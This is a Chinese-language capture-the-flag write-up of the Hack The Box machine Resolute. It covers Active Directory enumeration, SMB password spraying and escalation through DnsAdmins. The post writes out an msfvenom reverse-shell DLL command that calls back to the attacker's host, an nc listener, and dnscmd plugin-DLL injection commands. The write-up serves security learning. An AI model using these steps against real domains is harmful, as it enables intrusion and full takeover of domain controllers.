Set up
目标机器在 10.10.10.169
Recon
Nmap
# Nmap 7.80 scan initiated Wed Apr 29 23:11:13 2020 as: nmap -A -T4 -p- -v -oN nmap.txt 10.10.10.169
Increasing send delay for 10.10.10.169 from 0 to 5 due to 60 out of 149 dropped probes since last increase.
Increasing send delay for 10.10.10.169 from 5 to 10 due to 483 out of 1206 dropped probes since last increase.
Nmap scan report for 10.10.10.169
Host is up (0.30s latency).
Not shown: 65512 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-30 03:51:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=4/29%Time=5EAA4937%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/29%OT=53%CT=1%CU=30809%PV=Y%DS=2%DC=T%G=Y%TM=5EAA4A0
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=RD%CI=RD%II=I%TS=B)S
OS:EQ(SP=104%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M54DNW8ST11%O2=M
OS:54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN
OS:(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=200
OS:0%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=
OS:Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%
OS:RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Uptime guess: 0.059 days (since Wed Apr 29 22:21:31 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h28m39s, deviation: 4h02m30s, median: 8m38s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2020-04-29T20:52:35-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-04-30T03:52:39
|_ start_date: 2020-04-30T03:19:31
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 235.97 ms 10.10.14.1
2 282.03 ms 10.10.10.169
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 29 23:46:12 2020 -- 1 IP address (1 host up) scanned in 2099.63 seconds
Command History Refrence
1. dig - with dc ip - ineffective
2. enum4linux - found user with password Welcome123! - effective
3. GetNPUsers.py - with user marko and password Welcome123! - ineffective
4. evil-winrm - with user marko and password Welcome123! - ineffective
5. crackmapexec - with user marko and password Welcome123! - ineffective
6. bloodhound-python - with user marko and password Welcome123! - ineffective
7. rpcclient - with user marko and password Welcome123! - ineffective
8. msf smb_login - found user melanie match passwod Welcome123! - effective
9. bloodhound-python - with user melanie and password Welcome123! - found user ryan with password never expires configuration - effective - value not determined
10. rpcclient - with user melanie and password Welcome123! - found the same info as enum4linux - effective but not valuable
11. crackmapexec - with user melanie and password Welcome123! - found only read rights - effective
12. evil-winrm - with user melanie and password Welcome123! - found user flag - effective
13. evil-winrm - check NTDS - permission denied - ineffective
14. evil-winrm - check SAM SYSTEM file - reg save hklm\sam . - ineffective
15. evil-winrm - upload winpeas and execute - nothing interesting - ineffective
16. evil-winrm - powerup.ps1 - Write-HijackDll - ineffective
17. evil-winrm - net user melanie /domain - no DNSAdmins found - ineffective
------------------------------------------From Walkthrough--------------------------------------------------
18. evil-winrm - cd c:\ - ls -force|hidden - get ryan's password
19. evil-winrm login to ryan's account
20. evil-winrm - whoami /groups - found DNSAdmins privilege
21. kali - msfvenom -p windows/x64/shell_reverse_tcp LHOST=<host-ip> LPORT=<host-port> -a x64 -f dll -o <dll-name>
22. smbserver.py <sharen-ame> <share-path>
23. evil-winrm - dnscmd.exe resolute.megabank.local /config /serverlevelplugindll \\<host-ip>\<share-name>\<dll-name>
24. kali - nc -lvnp <host-port>
25. evil-winrm - sc.exe \\resolute.megabank.loca stop dns
26. evil-winrm - sc.exe \\resolute.megabank.loca start dns
Enumeration
dig
➜ recon dig srv _kerberos.tcp.10.10.10.169
; <<>> DiG 9.16.2-Debian <<>> srv _kerberos.tcp.10.10.10.169
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57776
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;_kerberos.tcp.10.10.10.169. IN SRV
;; AUTHORITY SECTION:
. 5 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2020043000 1800 900 604800 86400
;; Query time: 88 msec
;; SERVER: 192.168.181.2#53(192.168.181.2)
;; WHEN: Thu Apr 30 04:19:42 EDT 2020
;; MSG SIZE rcvd: 130
enum4linux
找到了 Domain Name

smb 没有权限

所有用户

服务器的密码策略

所有共工作组

再仔细看一遍用户,因为用户是我最关心的。结果发现了这个信息

marko:Welcome123!
好了。有了一个用户名密码,我希望再看到这个用户的系统权限。
我直接尝试获取 marko 的 ticket,但是失败了。

扩展阅读
文章里面讲了,GetNPUsers.py只能获取那些设置了UF_DONT_REQUIRE_PREAUTH用户的TGT
Impacket SecureAuth
看一下有没有登录端口。

扩展阅读
What is UPnP
看到了熟悉的 5985。
尝试连接

但是连接出错。
我尝试了 crackmapexec,同样无法获取到信息。不知道是用户名和密码哪里没有用对。

尝试 bloodhound-python

各种尝试,都没有效果。
我想这个机器的名字是 resolute,我看到了 53 端口开着,有 DNS 服务。

最后尝试一下搜索 pentest active directory dns exploit
扩展阅读
DNS Admin PrivEsc
Pentesting DNS
DNS Redteaming
DNS Dump
在 DNS Redteaming 一文中,我看到了 DnsAdmins 成员类型。
搜索 pentest get dnsadmins membership
没有太多有用的信息
重新整理一下思路,是因为上面 enum4linux 有一个 marko:Welcome123! 的信息我没有正确利用导致现在还卡着。
搜索 enum4linux Account created Password set to
扩展阅读
Extract Info from Windos Using enum4linux
enum4linux Examples
Root with Just Enumerations
这篇文章解释了很多 enum4linux 输出的内容,比如 RID (Relative Identifier)。
在 这篇文章 中,我看到了 rpcclient,回想之前 nmap 找到了很多 rpc 服务。尝试一下。

一开始尝试了几遍 marko 和他的密码,但是都失败了。
再尝试了一下 -N 无密码,还是失败。
最后尝试了一下匿名用户,登录了。有些进展。

搜索 pentest use rpcclient 查看一下 rpcclient 如何使用
各种介绍使用方式,放心阅读。
尝试一个 enumdomuers,结果和 enum4linux 列出的一样

我最关心的是这个命令

我现在有一个 marko 用户,我想看他的权限。

他的 rid 是 0x457

跟之前信息一样,显示账户密码是 Welcome123!,只是还没找到正确的地方使用。
扩展阅读
Pentest AD
密码肯定是正确的,都这么给出来了。要不就是不是这个用户的。因为上面找到了很多很多的用户。
搜索 pentest brute force smb login username
扩展阅读
SMB LOGIN Check
metasploit 的 auxiliary/scanner/smb/smb_login 模块可以尝试不同的用户名密码组合,去尝试登录 smb 服务。
第一步把所有用户名保存下来。正好还能练习一下 shell script

保存下来的原文件是这样的
我要取出文件名的部分,那么写个脚本一直 cut 就可以了。
cat raw.txt | while read line; do echo $line | cut -d' ' -f1 | cut -d':' -f2 | cut -d'[' -f2 | cut -d']' -f1 >> user.txt;done

最后只留下用户名

尝试用户名和 Welcome123! 配对


melanie 成功登录。因为看到有 could not connect 的情况,万一是正确的用户名而连接断开,那就白费功夫,所以我试了3次,才得到这个结果。
这一晚上没白忙活。
smbclient
先列出 smb 文件夹

我先到 SYSVOL 看一下,前面 我写过 SYSVOL 可能会缓存 hash。

结果是我看了每个 smb 文件夹,什么都没有发现。
回头一想,bloodhound 可以用起来了。


分析一下。
2020-05-01 08:24




看到 ryan 这个用户,password never expires。他是 contractors 一员,顺着下来,到 Domain Controllers,最后对 megabank.local 有 GetChangesAll 权限。
搜索 pentest active directory password never expires exploit,读完几篇文章都没有什么有用信息。
我尝试 GetNPUsers 获取 ryan 的 TGT,但是这个用户也没有设置 UF_DONT_REQUIRE_PREAUTH。
我现在有一个用户列表,那我就写个脚本尝试获取每一个用户的 TGT 。

没有一个人可以获取到 TGT。这条路走不通。
psexec 也不能用,因为没有一个 smb 目录是可写的。

在看资料的时候看到 smb 有这个命令以后一定要试一下。

再回去看一下开放的端口和服务,看有没有遗漏的没有尝试的地方。

回去文章最上面,做了一个 Command History Reference,不然自己尝试过什么都忘了。发现 evil-winrm 还没有尝试。

这就是入口了。
Foothold
常规套路,找到可写文件夹,上传 reverse shell。

先拿到 user flag。
Privilege Escalation
首先我想到 NTDS 文件

没有权限


做保存操作一直卡着,也不行。
运行 winpeas
没有有用信息
Import-Module .\PowerUp.ps1,运行 Invoke-AllChekcs

这里看到一个 AbuseFunction Write-HijackDll。我直接复制后面这个一部分命令运行。

这里貌似添加了一个 john 用户,然后再把他添加到了 Admin 组。
我以为大功告成了,然后运行 net localgroup administrators 一看并没有这个用户。

试过好几遍都没用。再想想其他思路。
回去看一下,之前还有一个 DNSAdmin 的信息


但是输出没有 DNSAdmins,这个方式也不行。
我还是觉得那个 write-hijiackdll 的挖掘不够。
搜索 write-hijiackdll example
这篇文章里面讲到了如何利用 Write-HijackDll。

这个 dll 跟我这里列出来的一样。继续往下看。


同时,也看到了为什么之前我直接执行 Write-HijackDll 命令没有效果,是因为服务没有重启。如果服务重启的话,john 就会被添加到系统 Admin 组里。但是我怀疑 melanie 这个用户是没有权限重启服务的。但是可以重启机器。

所以,两种方式我都会尝试一下。
msfvenom
系统是 x64 的,通过 msfvenom 生成 wlbsctrl.dll。

上传到指定的 C:\Users\melanie\AppData\local\Microsoft\WindowsApps\,然后重启目标机器。
先看一下当前的 wlbsctrl.dll 的创建时间,我要确保上传成功。

这个应该就是我之前直接运行 Write-HijackDll 写进去的。
上传。

Length 是 0,有问题。
我上传到用户的 Documents 目录看一下。

这我就各种问号。

尝试传了很多文件,都是 0 长度。我断开连接在试一次,如果还不行就不管了,先重启再说。

阅读这篇文章,可以用如下方法重启服务。

但是问题来了,在 evil-winrm 用 services 查看,并没有看到这个服务。

不能重启服务,用 evil-winrm 的 Dll-Loader 也尝试了一下,还是没有效果。

我觉得是这个 dll 长度为 0 ,由于某种原因其实根本没有上传上去。
尝试从本地直接加载。Dll-Loader 支持远程加载。


尝试加载。


有报错了,说明读到内容了。看下是什么错误。

格式错误。我试下重新生成一个,不要指定架构了。

一直报这样的错误。
扩展阅读
How to Use msfvenom
好了,到此为止,搜一下 walkthrough。
思路对了,还是 enumeration 没有做够。
在 C:\ 下面,可以用 ls -hidden|force 找出敏感文件。

有一个 PSTranscripts,结果里面有 ryan 用户的密码,另外,这个 ryan 就是我前面提到的 DNSAdmins,可以用 dll hijack 提权。思路对了,但是没有找到关键文件。
我也觉得奇怪,这个 ryan 用户没有办法利用,肯定有问题。

evil-winrm 登录 ryan 的账户。

是 DNSAdmins。
然后可以用文章开头提到的 这篇文章DNS Admin PrivEsc 提权。
生成 dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=9905 -a x64 --platform windows -f dll -o dnsfun.dll

smbserver host

根据文章所说注入到 dns.exe

这里有一个要注意的点,<FQDN of DC> 是 resolute.megabank.local 而不是 megabank,我又试了好久。

然后用 sc.exe 重启 dns 服务即可。

smbserver有连接进来。

拿到 system shell。

最后这一步要成功,还要注意这个机器是共享的,很多人在用,操作要快,不然你的 dll 注入进去了之后又被别人的 dll 覆盖,重启了 dns 也拿不到 shell。
Final Thoughts
- 不断尝试,尝试过程中做好记录,之后每次都要做
Command History Reference,好回溯,查看遗漏的地方。 Enumerate很重要,是所有操作的基础,从各种角度各种方式去发现问题。- 在使用
smb_login的地方,hydra也同样可以达到目的。 Windows相关知识太薄弱了,多看资料多记录。Active Directory做起来很费劲,因为不熟,思路也总是走偏。比如获取到对的用户名密码配对之后,还走了很多弯路才拿到用户的flag。提权也是,无头苍蝇乱撞。万事开头难,保持这样的学习态势最重要。- 正确的判断来自经验,经验来自错误的判断。